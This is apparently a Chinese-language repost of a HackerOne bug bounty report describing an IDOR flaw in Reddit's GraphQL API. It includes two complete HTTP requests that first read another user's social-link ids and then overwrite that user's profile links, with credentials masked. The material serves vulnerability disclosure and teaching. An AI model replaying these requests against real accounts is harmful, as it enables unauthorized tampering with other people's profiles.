hackerone赏金漏洞报告-Reddit中的一个IDOR
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
前言
reddit中存在一个IDOR:
它允许修改任何用户的链接。用户可以将他们的自定义链接或社交媒体链接放在他们的个人资料中,例如:
复现步骤
请求的主体中,在参数“username”中放入你想要的用户名,你可以随便创建一个用户,用户名为:“test01”。此请求将在响应中返回任何用户配置文件的链接,其中包含每个链接的“id”。这里就造成了敏感信息泄露;
POST / HTTP/2
Host: gql.reddit.com
Content-Length: 62
Sec-Ch-Ua: ".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"
X-Reddit-Loid: * * ** * * * * * * * * * * ** * * * * * * * * * * * * * * * * *
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/531.36
X-Reddit-Compression: 1
X-Reddit-Session: * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://www.reddit.com
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.reddit.com/
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9,en-US;q=0.8,en;q=0.7,bs;q=0.6,ja;q=0.5
{"id":"11a239b07f86","variables":{"username":"*********"}}
获取到"id"就把它存起来。
在下一个请求中,你必须在请求体中,在“id”参数中放入之前保存的id,你也可以更改名称和链接:
POST / HTTP/2
Host: gql.reddit.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20000101 Firefox/101.0
Accept: */*
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 173
X-Reddit-Loid: * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
X-Reddit-Session: * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
X-Reddit-Compression: 1
Origin: https://www.reddit.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Authorization: Bearer * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Referer: https://www.reddit.com/
Te: trailers
{"id":"c558e604581f","variables":{"input":{"socialLinks":[{"outboundUrl":"https://www.hackerone.com","title":"hacker","type":"CUSTOM","id":"* * * * * * * * * * * * * * * * * * * * * * * * * * * * * *"}]}}}
最后重新输入受害者的资料,你会看到修改后的链接。需要注意的是,您可能需要重新加载页面几次或等待几秒钟。
原文始发于微信公众号(迪哥讲事):hackerone赏金漏洞报告-Reddit中的一个IDOR
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论